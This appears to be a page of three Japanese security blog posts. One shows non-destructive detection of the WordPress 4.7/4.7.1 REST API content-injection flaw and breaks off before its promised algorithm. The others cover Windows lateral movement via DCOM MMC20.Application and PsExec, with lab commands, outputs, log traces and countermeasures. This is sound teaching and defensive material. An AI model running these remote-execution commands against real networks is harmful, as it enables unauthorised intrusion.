WordPress 4.7/4.7.1 の Content Injection の脆弱性を確認する
先日、WordPress 4.7 および 4.7.1 における Content Injection の脆弱性が世間を騒がせました。脆弱性が「すでに存在する投稿を上書きする」という内容であるため、脆弱性診断士としてはお客様の環境に試すことが憚られる脆弱性です。しかし、検証を実施した結果、この脆弱性は投稿を実際に上書きをしなくても検出できることがわかりました。そこで今回の投稿では、これから脆弱性診断士を目指す人のことを意識して、この脆弱性の検出手法の解説を通じて「脆弱性診断士として気をつけなければならないこと」や「脆弱性を確認する手法の作成手順」がざっくり伝えられればと考えております。
どういう脆弱性なの?
WordPress 4.7 系から導入された REST API という機能に不備があり、WordPress で作成された Web サイトに投稿されている内容を上書きできるという脆弱性です。攻撃の手軽さや影響範囲から世間では大分騒がれましたが、なぜか CVE 識別子は割り当てられていません。詳しい内容に関してはその他の Web サイトで、様々な人が解説しているので割愛します。中でも徳丸さんのブログの記事に詳しく解説されておりますので、詳しく知りたい方は以下のリンク先をご参照ください。
脆弱性診断士として気を付けなければならないこと
「脆弱性の有無を調査する」と言っても、本当になんでもやっていいわけではありません。少なくとも日本では、プロの脆弱性診断士はお客様のシステムに障害を引き起こしてしまわないように、細心の注意を払う必要があります。例えばお客様の Web サイトで SQL Injection が検出されたとしても、SQL Injection で過剰な攻撃を行い Web サイトのデータベースが全て消去されてしまえば、お客様に多大な損害を与えてしまうことが考えられます。
今回の WordPress の脆弱性に関して言えば、脆弱性の有無を確認した結果として、お客様が運用している Web サイトのコンテンツが書き換えられてしまい、元の状態に普及出来なければ、お客様に損害を与えてしまうことになります。よって、今回の WordPress の脆弱性を脆弱性診断業務で安全に検出するために、「コンテンツを書き換えることなく脆弱性を検出する手法があるか」ということを検証する必要があるわけです。
今回の検証環境
今回は以下の環境で検証を実施します。
[対象ホスト] OS: Ubuntu 15.10, 64bit Software: WordPress 4.6.3, 4.7, 4.7.1, 4.7.2 IP Address: 172.16.214.132
脆弱性が存在する場合と存在しない場合の反応差を明確にするために、複数のバージョンの WordPress を検証します。WordPress はいずれも初期設定の状態で検証しています。
まずは脆弱性の影響を受けるバージョンの範囲を確認する
脆弱性の確認手法を確立するための第一歩として、まずは脆弱性の影響を受ける範囲を確認しましょう。調べていただければわかると思いますが、今回の脆弱性は前述の通り、「WordPress 4.7 系から導入された REST API という機能」に存在する脆弱性です。また、脆弱性は WordPress 4.7.2 で解消されました。よって、WordPress のリリース情報を照らし合わせると、当該脆弱性の影響を受けるバージョンは以下の 2 つであるということがわかります。
脆弱性の悪用に用いられる URI を把握する
今回の脆弱性を悪用する場合、脆弱性診断対象となる WordPress の以下の URL が利用されることが分かっています。
http(s)://[WordPress の REST API のホーム URL]/wp/v2/posts/[存在する投稿の ID]
以上の URL に対して送信するデータにて、不正なパラメータを id 要素に設定すれば、脆弱性をつくことができるようになるわけです。例えば投稿 ID が 1 である場合は、以下のような URL にリクエストが送信されます。(存在する投稿の ID を 1 としています)
http(s)://[WordPress の REST API のホーム URL]/wp/v2/posts/1/?id=1AAA
URL 末尾の AAA の部分は、文字列型の値であれば何でも構いません。「?id=1AAA」の部位は、WordPress での Permalink の設定(URI の書式設定)によって変わります。Permalink が Plain と設定されている場合(投稿の URL が http(s)://[WordPress のホームの URL]/?p=123 のような書式である場合)は、「&id=1AAA」となります。今回の脆弱性では以上のように、URL にて指定されている「投稿 ID」に、余分な文字を追加した値を id 要素に設定することで、脆弱性が発現します。
なるべく GET リクエストを用いる
POST メソッドを用いると、脆弱性診断対象の Web サイトの情報を書き換えてしまう恐れがあります。対象ホストに悪影響が出ないことがしっかりと確認できていない限りは、GET リクエストを用いて脆弱性の存在が確認できるよう、検証を進めましょう。
WordPress の REST API のホーム URL
脆弱性を悪用するには、REST API のホーム URL が分かっていなければならないため、どこから調べるかを先に解説します。WordPress のホームの URL にアクセスすると、ソースコードの以下のタグの href に記載されています。
<link rel='https://api.w.org/' href='http://172.16.214.132/index.php/wp-json/' />
初期設定である場合は、以上のように「http(s)://[WordPress のホーム URL]/index.php/wp-json/」が REST API のホーム URL です。因みにですが、Permalink が Plain に設定されている場合は「http(s)://[WordPress のホーム URL]/?rest_route=/」となります。
脆弱性が存在するバージョンの反応を確認する
まずは脆弱性が存在するバージョンである WordPress 4.7 または 4.7.1 を検証環境にインストールして、実際に脆弱性が悪用できることを確認した上で、脆弱性の悪用に用いられる URI に GET リクエストを送信した際の反応を確認しましょう。WordPress は初期状態であるため、存在する投稿の ID は 1 のみです。
それでは WordPress 4.7 および 4.7.1 に対して、GET リクエストを送信した際の反応を確認してみましょう。とりあえず対象ホストから返送されるステータスコードを確認したいので、HTTP ヘッダの部分に着目して反応差を調べます。ステータスコードで判断できなそうな場合は、対象ホストから送信されるデータの内容も確認することにします。
先に、末尾の余分な文字を削除した正規の URL に対するリクエストの応答も確認しておきましょう。この場合は以下のように「200 OK」が返送されることが確認できます。
root@kali:~# curl --head "http://172.16.214.132/index.php/wp-json/wp/v2/posts/1/?id=1" HTTP/1.1 200 OK Date: Mon, 13 Feb 2017 14:20:18 GMT Server: Apache/2.4.12 (Ubuntu) X-Robots-Tag: noindex Link: <http://172.16.214.132/index.php/2017/02/05/hello-world/>; rel="alternate"; type=text/html X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages Access-Control-Allow-Headers: Authorization, Content-Type Allow: GET Content-Type: application/json; charset=UTF-8 root@kali:~#
次に、脆弱性の悪用に用いられる不正な URL に GET リクエストを送信すると、以下のように「200 OK」が返送されることが確認できます。
root@kali:~# curl --head "http://172.16.214.132/index.php/wp-json/wp/v2/posts/1/?id=1AAA" HTTP/1.1 200 OK Date: Mon, 13 Feb 2017 14:18:32 GMT Server: Apache/2.4.12 (Ubuntu) X-Robots-Tag: noindex Link: <http://172.16.214.132/index.php/2017/02/05/hello-world/>; rel="alternate"; type=text/html X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages Access-Control-Allow-Headers: Authorization, Content-Type Allow: GET, POST, PUT, PATCH, DELETE Content-Type: application/json; charset=UTF-8 root@kali:~#
とりあえず、脆弱性が存在する WordPress 4.7 および 4.7.1 では、正規の URL でも不正な URL でも、GET リクエストに対して「200 OK」が返送されることが確認できました。
脆弱性に対応されたバージョンでの反応を調べる
次に、脆弱性が修正された WordPress 4.7.2 で同様に反応を調べてみましょう。正規の URL にリクエストを送信した場合は、当然「200 OK」が返送されることが確認できます。
root@kali:~# curl --head "http://172.16.214.132/index.php/wp-json/wp/v2/posts/1/?id=1" HTTP/1.1 200 OK Date: Mon, 13 Feb 2017 14:32:47 GMT Server: Apache/2.4.12 (Ubuntu) X-Robots-Tag: noindex Link: <http://172.16.214.132/index.php/2017/02/06/hello-world/>; rel="alternate"; type=text/html X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages Access-Control-Allow-Headers: Authorization, Content-Type Allow: GET Content-Type: application/json; charset=UTF-8 root@kali:~#
では、脆弱性の悪用に用いられる不正な URL に GET リクエストを送信するとどうなるでしょうか。
root@kali:~# curl --head "http://172.16.214.132/index.php/wp-json/wp/v2/posts/1/?id=1AAA" HTTP/1.1 400 Bad Request Date: Mon, 13 Feb 2017 14:33:50 GMT Server: Apache/2.4.12 (Ubuntu) X-Robots-Tag: noindex Link: <http://172.16.214.132/index.php/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages Access-Control-Allow-Headers: Authorization, Content-Type Allow: GET Connection: close Content-Type: application/json; charset=UTF-8 root@kali:~#
なんと、「400 Bad Request」が返送されます。これは良い結果と言えます。脆弱性が存在するバージョンの場合は「200 OK」、脆弱性に対応されたバージョンの場合は「400 Bad Request」という特徴的なステータスが返送されるため、脆弱性の有無が判別しやすいです。
脆弱性が発現する前のバージョンも調べる
当然と言えば当然なのですが、そもそも REST API が実装されていないため REST API のホームの URL が存在しません。よって以下のように、正規の URL であっても不正な URL であっても「404 Not Found」が返送されます。
root@kali:~# curl --head "http://172.16.214.132/index.php/wp-json/wp/v2/posts/1/?id=1" HTTP/1.1 404 Not Found Date: Mon, 13 Feb 2017 14:54:23 GMT Server: Apache/2.4.12 (Ubuntu) X-Robots-Tag: noindex Link: <http://172.16.214.132/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages Access-Control-Allow-Headers: Authorization Content-Type: application/json; charset=UTF-8 root@kali:~#
脆弱性の検出
以上の結果より、以下の URL に GET リクエストを送った結果、「200 OK」が返送されれば対象の WordPress に当該脆弱性が含まれていることを確認できます。
http(s)://[WordPress の REST API のホーム URL]/wp/v2/posts/[存在する投稿の ID]/?id=[存在する投稿の ID][適当な文字列]
ただし、前述の通り、以上の URL の「?id=」の部分は、Permalink が Plain に設定されている場合は「&id=」に変更する必要があります。自動化して脆弱性を検出するスクリプトを作成したい場合は、例として以下のアルゴリズムに沿ってプログラムを作成すると良いでしょう。
MMC を用いた Windows 環境での Lateral Movement
前回の投稿では PsExec.exe を用いた Windows ドメインネットワークでの Lateral Movement について触れました。今回は別の種類の攻撃手法に関する話題にしようかと考えていましたが、つい先週に新しい Lateral Movement の手法が公開されたため、本投稿ではその手法について取り扱います。新たに公開された Lateral Movement の手法は、以下の Web サイトにて公開されています。
手法の概要
新しい手法というと大層に聞こえますが、手法の内容自体はそこまで難しいものではありません。Windows システムを管理するために用いる Microsoft 管理コンソール (MMC: Microsoft Management Console) のメソッドの 1 つに、「ExecuteShellCommand」という遠隔端末の操作に用いることができるコマンドがあるというだけの話です。ExecuteShellCommand メソッドについては、以下の Web サイトに解説が記載されています。
本記事の検証環境
検証環境は以下に従います。
[対象ホスト] OS: Windows 7 Professional SP1, 32 bit IP Address: 172.16.214.132 ホスト名: VICTIM [侵入元ホスト] OS: Windows 8.1 Pro, 64 bit IP Address: 172.16.214.137 ホスト名: pentest
手法の手順
「遠隔の端末を管理する」という用途のコマンドであるため、侵入対象となる端末で管理者権限が実行できている状態でなければなりません。例としては、Pass-the-Hash などの手法を用いて、ビルドイン Administrator アカウントで対象端末への認証に成功していることが考えられます。認証に成功したら、まず以下のコマンドを実行して、対象端末の MMC のオブジェクトを呼び出します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<対象ホストのアドレス>"))
メソッドの呼び出しに失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。MMC のオブジェクトの呼び出しに成功したら、あとは ExecuteShellCommand メソッドを用いて好きなコマンドを実行できます。以下のコマンドを実行することにより対象端末で任意のコマンドを実行することができます。
PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("<実行バイナリのパス>", $null, "<実行バイナリのコマンドライン引数 (何も無い場合は「$null」を指定)>", "7")
コマンドの実行に関しても、失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。
対象端末の IP アドレスを 172.16.214.132 とします。単純に電卓を起動する場合は以下のように実行します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132")) PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")
対象ホストにログインしプロセスを確認して、以下のように calc.exe が起動していれば成功です。
PS C:\Windows\system32> Get-Process | findstr calc 155 24 8684 18992 100 0.16 3984 2 calc PS C:\Windows\system32>
手法の実行に必要な条件
まず TCP ポートについてですが、前回の記事で取り上げた PsExec.exe とは違い、当該手法は RPC を用いて実行されるため、管理共有にアクセスできる必要はありません。Windows Firewall で TCP 139 番ポートと TCP 445 番ポートへのアクセスを遮断しても、MMC のオブジェクトを呼び出すことができます。その代わりに MMC のオブジェクトの呼び出しには TCP 135 番ポートが用いられます。MMC オブジェクトを用いた命令の実行には、TCP 49152 番ポートなどの RPC で用いるハイポートが利用されるため、これらの TCP ポートへのアクセスが遮断されている場合は、当該手法を悪用して遠隔コード実行をすることはできません。
認証を通す必要があるユーザですが、権限昇格せずに管理者権限を行使できるアカウントである必要があります。UAC が有効である場合は、Administrators グループに所属しているアカウントであっても、管理者権限の行使に権限昇格が必要となるため、認証を通したとしても以下のように UnauthorizedAccessException が発生し、MMC のオブジェクトの呼び出しに失敗します。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.13 2")) "1" 個の引数を指定して "CreateInstance" を呼び出し中に例外が発生しました: "CLSID {49B2791A-B1AE-4C90-9B8E-E860BA07F889} を含むリモート コンポーネントの COM クラス ファクトリをコンピューター 172.16.214.132 から取得中に、次のエラーが発生し ました: 80070005 172.16.214.132。" 発生場所 行:1 文字:1 + $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application" ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : UnauthorizedAccessException PS C:\Windows\system32>
UAC が無効である場合は、対象ホストで Administrators グループに所属している何れかのアカウントで認証に成功していれば、当該手法を用いて遠隔コード実行することが可能です。
以上をまとめると、当該手法が成功するためには以下の条件が全て成立している必要があります。
実行痕跡
当該手法を用いた場合の痕跡についても調査しました。まず以下のコマンドを実行した際に発生するログについて調べました。
PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132"))
この場合は eventvwr.exe の Windows Logs の Security に、以下の 2 種類のログが残ります。
ログの名前: Security ソース: Microsoft-Windows-Security-Auditing 日付: 2017/01/09 21:28:00 イベント ID: 4672 タスクのカテゴリ: 特殊なログオン レベル: 情報 キーワード: 成功の監査 ユーザー: N/A コンピューター: VICTIM 説明: 新しいログオンに特権が割り当てられました。 サブジェクト: セキュリティ ID: S-1-5-21-4277999076-337875558-3304608076-500 アカウント名: Administrator アカウント ドメイン: VICTIM ログオン ID: 0xfcb3e 特権: SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege
ログの名前: Security ソース: Microsoft-Windows-Security-Auditing 日付: 2017/01/09 21:28:00 イベント ID: 4624 タスクのカテゴリ: ログオン レベル: 情報 キーワード: 成功の監査 ユーザー: N/A コンピューター: VICTIM 説明: アカウントが正常にログオンしました。 サブジェクト: セキュリティ ID: S-1-0-0 アカウント名: - アカウント ドメイン: - ログオン ID: 0x0 ログオン タイプ: 3 新しいログオン: セキュリティ ID: S-1-5-21-4277999076-337875558-3304608076-500 アカウント名: Administrator アカウント ドメイン: VICTIM ログオン ID: 0xfcb3e ログオン GUID: {00000000-0000-0000-0000-000000000000} プロセス情報: プロセス ID: 0x0 プロセス名: - ネットワーク情報: ワークステーション名: PENTEST ソース ネットワーク アドレス: 172.16.214.137 ソース ポート: 49197 詳細な認証情報: ログオン プロセス: NtLmSsp 認証パッケージ: NTLM 移行されたサービス: - パッケージ名 (NTLM のみ): NTLM V2 キーの長さ: 128 このイベントは、ログオン セッションの作成時に生成されます。このイベントは、アクセス先のコンピューターで生成されます。 サブジェクトのフィールドは、ログオンを要求したローカル システム上のアカウントを示します。これはサーバー サービスなどのサービスまたは Winlogon.exe や Services.exe などのローカル プロセスであることが最も一般的です。 ログオン タイプのフィールドは、発生したログオンの種類を示します。最も一般的なタイプは、2 (対話型) と 3 (ネットワーク) です。 新しいログオンのフィールドは、新しいログオンを作成するアカウント、つまりログオン先のアカウントを示します。 ネットワークのフィールドは、リモート ログオン要求の送信元を示します。ワークステーション名は常に表示されるとは限らず、場合によっては空白のままであることがあります。 認証情報のフィールドは、この特定のログオン要求に関する詳細情報を示します。 - ログオン GUID は、このイベントを KDC イベントに関連付ける場合に使用できる一意の識別子です。 - 移行されたサービスは、このログオン要求に関与した中間サービスを示します。 - パッケージ名は、NTLM プロトコルのうち使用されたサブプロトコルを示します。 - キーの長さは、生成されたセッション キーの長さを示します。これは、セッション キーが要求されなかった場合は 0 になります。
とりあえず「管理者権限で何か実行された」程度のことはわかります。しかし、これらの痕跡は同様の手法を実行した際に発生することが多いため、当該手法によるものと断定することは難しいと考えられます。
次に以下のコマンドを実行した場合です。
PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")
残念ながら eventvwr.exe に保存されるログには、以上のコマンドによって発生したと考えられる痕跡を確認することができませんでした。
当該手法を悪用されて遠隔コード実行されてしまったとしても、当該手法によるものであると断定することは難しいと考えられ、どのような命令の実行を強制されてしまったかを知ることも難しいと考えられます。よって、攻撃の痕跡を隠して Lateral Movement を行う用途で、攻撃者に悪用されやすい手法であると考えられます。
PsExec による Windows 環境での Lateral Movement
組織のネットワークに所属する端末に攻撃者が侵入してしまった後に、攻撃者がネットワーク内を移動する行為を「Lateral Movement」と言います。今回の投稿では、Windows 環境での Lateral Movement に用いられる PsExec についてまとめました。PsExec を用いる以外にもいくつか手法がありますが、その他の手法についてはまた別の記事で取り上げる予定です。
PsExec とは
PsExec は、Microsoft 社が無償で提供している Sysinternals Suite と呼ばれるツール群に含まれているソフトウェアです。PsExec は遠隔の端末を操作し管理するためのツールですが、その便利さ故に、攻撃者が侵入に成功した Windows ネットワークで Lateral Movement を行うために悪用されています。遠隔の端末を管理するという用途であるため、管理者権限を持つアカウントで NTLM 認証を行っていない場合は、遠隔の端末を操作することはできません。PsExec を用いて遠隔の端末に侵入する場合、攻撃者は何かしらの手法で管理者権限を持つユーザ名と NTLM ハッシュ値を取得し、Pass-the-Hash の手法により侵入対象の端末への認証を行った上で、PsExec により対象の端末へ管理者権限で侵入します。(Pass-the-Hash の手法については本投稿では触れません)
管理共有について
PsExec を利用するためには、「管理共有」という機能が対象の端末で有効になっている必要があります。管理共有はその名の通り、ネットワークの管理者が、管理しているネットワークに所属する端末を管理するために用いるものです。Windows 端末で管理共有が有効である場合、端末で管理者権限を持つユーザ (ビルドイン Administrator や Backup Operators など) は、端末の C ドライブなどに直接アクセスすることが可能です。PsExec を用いることで、管理共有の機能を用いて、操作したい端末に管理者権限で任意のコードを実行させることができます。地震の端末で管理共有が有効であるかを確認したい場合は、cmd.exe を起動し以下のコマンドを実行します。
C:\Windows\system32>net share
実行した結果、以下のように共有名の欄に「C$」や「ADMIN$」が表示される場合は、管理共有が有効です。
C:\Windows\system32>net share 共有名 リソース 注釈 ------------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin コマンドは正常に終了しました。 C:\Windows\system32>
管理共有が利用できるアカウント
管理者権限を持つアカウント、すなわち Administrators グループに所属している全てのアカウントが管理共有を利用できるというわけではありません。UAC が設定されている場合は、ビルドイン Administrator アカウントにのみ管理共有の機能を利用することができます。UAC が設定されている場合は、ビルドイン Administrator を除く Administrators グループのアカウントは、管理者権限を行使するために権限昇格する必要があるからです。UAC が設定されていない場合は、Administrators グループに所属するアカウントの認証情報を用いて管理共有の機能を利用できます。
PsExec の使い方
PsExec は以下の書式で実行します。
C:\Windows\system32>PsExec.exe [\\<対象ホスト名>] [-u <ユーザ名>] [-p <パスワード>] [<オプション>] <対象ホストに実行させたいコマンド>
角括弧で括っている項目に関しては、用途に応じて省略可能です。対象ホスト名が省略された場合は、PsExec の実行端末自身が実行対象となります。対象ホストのプロンプトを立ち上げたい場合は、対象ホストに実行させたいコマンドに cmd を指定します。実際に攻撃者が侵入する場合、Pass-the-Hash などの手法により予め対象端末との NTLM 認証を通した状態で PsExec を使用するため、以下のようにユーザ名とパスワードを省略して実行し、対象端末に侵入します。
C:\Windows\system32>PsExec.exe \\<対象ホスト名> cmd
また、以下のようにコマンドの実行結果をリダイレクトすることも可能です。
C:\Windows\system32>PsExec.exe \\172.16.214.132 -u Administrator -p weak_password whoami /user > test.txt PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Starting whoami on 172.16.214.132...2.16.214.132... whoami exited on 172.16.214.132 with error code 0. C:\Windows\system32>type test.txt USER INFORMATION ---------------- ユーザー名 SID ===================== ============================================ test-pc\administrator S-1-5-21-4277999076-337875558-3304608076-500 C:\Windows\system32>
PsExec.exe のオプションとして代表的なものは以下の通りです。
-i オプション
PsExec を実行しているコンソールとは別に、PsExec 用のコンソールが起動します。
-s オプション
SYSTEM 権限で命令を実行します。-s オプションを使わない場合、認証を通しているユーザとして端末に命令を実行することになります。以下の例では対象端末の IP アドレスを 172.16.214.132、ホスト名を test-pc としています。また、PsExec の実行元端末のホスト名を pentest、実行ユーザを testuser としています。
C:\Windows\system32>whoami /user USER INFORMATION ---------------- ユーザー名 SID ================ ============================================== pentest\testuser S-1-5-21-2843010864-2894322442-3301163422-1001 C:\Windows\system32>PsExec.exe \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com USER INFORMATION ---------------- ユーザー名 SID ===================== ============================================ test-pc\administrator S-1-5-21-4277999076-337875558-3304608076-500 whoami exited on 172.16.214.132 with error code 0. C:\Windows\system32>
オプションに -s を指定すると、以下のよう SYSTEM 権限で命令が実行されていることがわかります。
C:\Windows\system32>whoami /user USER INFORMATION ---------------- ユーザー名 SID ================ ============================================== pentest\testuser S-1-5-21-2843010864-2894322442-3301163422-1001 C:\Windows\system32>PsExec.exe \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com USER INFORMATION ---------------- ユーザー名 SID =================== ======== nt authority\system S-1-5-18 whoami exited on 172.16.214.132 with error code 0. C:\Windows\system32>
余談ですが、このオプションを以下のように利用すると、自分が使っている端末で SYSTEM 権限を用いてプログラムを起動させることができます。
C:\Windows\system32>PsExec.exe -i -s <実行したいプログラム>
用途ですが、SYSTEM 権限でしか操作できないレジストリ値を操作する際に、以下のコマンドを用いて SYSTEM 権限で regedit.exe を起動するという場合が多いようです。
C:\Windows\system32>PsExec.exe -i -s regedit.exe
@ オプション
対象ホスト名の代わりに、テキストファイルに記載された対象ホストのリストを一行ずつ読み込み、命令を実行するためのオプションです。複数端末に同じ命令を実行するために用います。ただし、実行対象となる端末の認証情報が共通でない場合は、当然アクセスできないので全ての端末で命令を実行させることはできません。例として以下のように利用します。
C:\Windows\system32>type test.txt 172.16.214.137 172.16.214.139 C:\Windows\system32>PsExec.exe @test.txt -u Administrator -p weak_password hostname PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com \\172.16.214.137: test-pc01 hostname exited on 172.16.214.137 with error code 0. \\172.16.214.139: test-pc02 hostname exited on 172.16.214.139 with error code 0. C:\Windows\system32>
PsExec が用いている TCP ポート
PsExec を実行した際の通信をキャプチャするとわかりますが、対象ホストで特に通信制限をしていない場合、PsExec では対象ホストの TCP 445 番ポートを用いています。 TCP 139 番ポートは用いていません。以下に示すように、対象ホストで 139 番ポートを制限しても、PsExec により遠隔から命令を実行可能です。
C:\Windows\system32>nmap -sS -Pn 172.16.214.132 -p 139,445 Starting Nmap 7.40 ( https://nmap.org ) at 2016-12-31 23:11 ???? (?W???) Nmap scan report for 172.16.214.132 Host is up (0.00s latency). PORT STATE SERVICE 139/tcp filtered netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:27:B3:52 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds C:\Windows\system32>PsExec.exe \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com USER INFORMATION ---------------- ユーザー名 SID ===================== ============================================ test-pc\administrator S-1-5-21-4277999076-337875558-3304608076-500 whoami exited on 172.16.214.132 with error code 0. C:\Windows\system32>
「TCP 445 番ポートのみを使用する」ならば、TCP 445 番ポートのみの通信を制限すれば PsExec により遠隔から命令を実行できないように思えますがそんなことはなく、以下に示すように実行できます。
C:\Windows\system32>nmap -sS -Pn 172.16.214.132 -p 139,445 Starting Nmap 7.40 ( https://nmap.org ) at 2016-12-31 23:15 ???? (?W???) Nmap scan report for 172.16.214.132 Host is up (0.00s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp filtered microsoft-ds MAC Address: 00:0C:29:27:B3:52 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds C:\Windows\system32>PsExec.exe \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com USER INFORMATION ---------------- ユーザー名 SID ===================== ============================================ test-pc\administrator S-1-5-21-4277999076-337875558-3304608076-500 whoami exited on 172.16.214.132 with error code 0. C:\Windows\system32>
これは PsExec が、TCP 445 番ポートが利用できない場合は、TCP 139 番ポートに切り替えて命令を実行させるからです。すなわち、以下のように TCP 139 番ポートと TCP 445 番ポートの通信を両方とも制限すれば、PsExec により遠隔から命令を実行することができなくなります。
C:\Windows\system32>nmap -sS -Pn 172.16.214.132 -p 139,445 Starting Nmap 7.40 ( https://nmap.org ) at 2016-12-31 23:18 ???? (?W???) Nmap scan report for 172.16.214.132 Host is up (0.00s latency). PORT STATE SERVICE 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds MAC Address: 00:0C:29:27:B3:52 (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds C:\Windows\system32>psexec \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Couldn't access 172.16.214.132: ネットワーク パスが見つかりません。 Make sure that the default admin$ share is enabled on 172.16.214.132. C:\Windows\system32>
PsExec の痕跡
PsExec を使うと、いくつかログが残ります。攻撃者に侵入されてしまった可能性がある場合、対象端末の以下の点に着目することで PsExec で遠隔コード実行されてしまったか否かを推測することができます。
(1) Event Viewer の Windows Logs
PsExec により命令の実行を強制された場合は、Windows Logs に幾つかログが残ります。Security にはイベント ID 4624 番「特殊なログオン」がログとして残ります。System にはイベント ID 7045 番が以下の説明とともにログとして残ります。
サービスがシステムにインストールされました。 サービス名: PSEXESVC サービス ファイル名: %SystemRoot%\PSEXESVC.exe サービスの種類: ユーザー モード サービス サービス開始の種類: 要求による開始 サービス アカウント: LocalSystem
攻撃者によりログが消されてしまっている場合もありますが、ログとして最も明確に残る箇所であると考えられます。
(2) %SystemRoot%\PSEXESCV.exe
PSEXESCV.exe は PsExec を実行して侵入するときに用いる実行ファイルです。PsExec により端末に侵入している場合は、侵入先端末の %SystemRoot% 配下に作成されます。PsExec による侵入を正常に終えた場合は PSEXESCV.exe は削除されるのですが、ネットワークの疎通が一時的に中断されてしまったなどの理由で PsExec による侵入が異常終了した場合、PSEXESCV.exe は %SystemRoot% 配下に残ったままとなります。
PsExec による遠隔コード実行を防ぐには
最後に PsExec を用いた遠隔コード実行への対策として、有用であると考えられる対策について紹介します。
(1) 管理共有機能を無効化する
PsExec は管理共有機能を介して端末を操作するツールであるため、管理共有機能が無効である場合は遠隔コード実行される可能性はありません。組織のネットワークの管理者は、可能であれば管理共有機能を無効にする設定を、ネットワーク上の端末に強制することで、PsExec による Lateral Movement を制限することができます。
(2) 管理対象の端末間ではファイル共有サービスの通信を許可しない
組織のネットワークに所属している端末を管理する上で、管理共有を用いないという選択をすることは難しい場合が多いと考えられます。その場合は、ドメインの管理サーバやファイルサーバなど必要な端末間でのみファイル共有サービスの利用を許可し、その他のクライアント端末間では Windows ファイアウォールなどによるアクセス制限によりファイル共有サービスの利用を禁止する設定を強制することで、PsExec による Lateral Movement を制限することが可能です。
(3) UAC を設定し各端末でビルドイン Administrator アカウントを無効化する
PsExec は、端末に存在するアカウントであっても、そのアカウントが無効である場合は命令を実行させることはできません。Pass-the-Hash の手法を用いた場合も同様です。無効であるユーザに PsExec を試行すると以下のような結果になります。
C:\Windows\system32>psexec \\172.16.214.132 -u Administrator -p weak_password whoami /user PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Couldn't access 172.16.214.132: このアカウントは現在無効に設定されているため、このユーザーはサインインできません C:\Windows\system32>
ビルドイン Administrator アカウントは権限昇格を必要とせずに管理者権限を行使可能であるため、日頃ビルドイン Administrator アカウントを利用することがない場合は、無効に設定することが望ましいです。ビルドイン Administrator アカウント以外でも、高い権限を持つアカウントの数を最小限に留めることが、セキュリティ対策上重要です。
(4) UAC を設定し各端末のビルドイン Administrator アカウントのパスワードを分離する
PsExec に限った話ではありませんが、同じパスワードが設定されているビルドイン Administrator アカウントが各端末で存在する場合は、該当するアカウント名が推測されてしまうと侵入されてしまいます。端末毎にビルドイン Administrator アカウントのパスワードを分離することにより、端末に侵入されてしまう可能性を低減することができます。